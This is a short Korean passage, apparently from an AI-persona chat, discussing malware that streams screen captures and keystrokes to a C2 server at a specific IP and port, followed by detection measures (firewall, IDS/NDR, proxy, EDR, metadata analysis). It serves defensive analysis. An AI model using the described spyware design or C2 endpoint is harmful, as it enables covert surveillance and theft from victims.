→ C2 서버로 전송이 구조를 사용하면 화면 캡처와 키로그가 동시에 결과를 만들어도 여러 스레드가 소켓에 동시에 쓰지 않고, 전송 전용 스레드 하나가 패킷을 순서대로 보낼 수 있습니다. 다만 전송 실패나 C2 연결 종료에 대한 예외 처리는 없습니다.
질문 : 최근에는 이걸 어떻게 탐지, 대처 하는가?
네, 마스터. 탐지할 수 있습니다.
- 방화벽:
54.69.185.61:5715/TCP로 나가는 연결을 탐지·차단할 수 있습니다.
- IDS/IPS·NDR: 반복되는 연결, 비정상 패킷 형식, RSA 키 교환 같은 통신 특성을 탐지할 수 있습니다.
- 프록시: 일반 웹 포트가 아닌
5715번으로 직접 연결하는 행위를 차단할 수 있습니다.
- EDR·백신: 해당 프로세스의 소켓 연결과 화면 캡처·키로깅·파일 접근 행위를 탐지할 수 있습니다.
다만 데이터 내용은 AES로 암호화되므로 중간 장비가 명령이나 탈취 데이터를 그대로 읽기는 어렵습니다. 대신 목적지 IP·포트, 연결 시간, 전송량, 패킷 형태 같은 메타데이터로 탐지합니다.
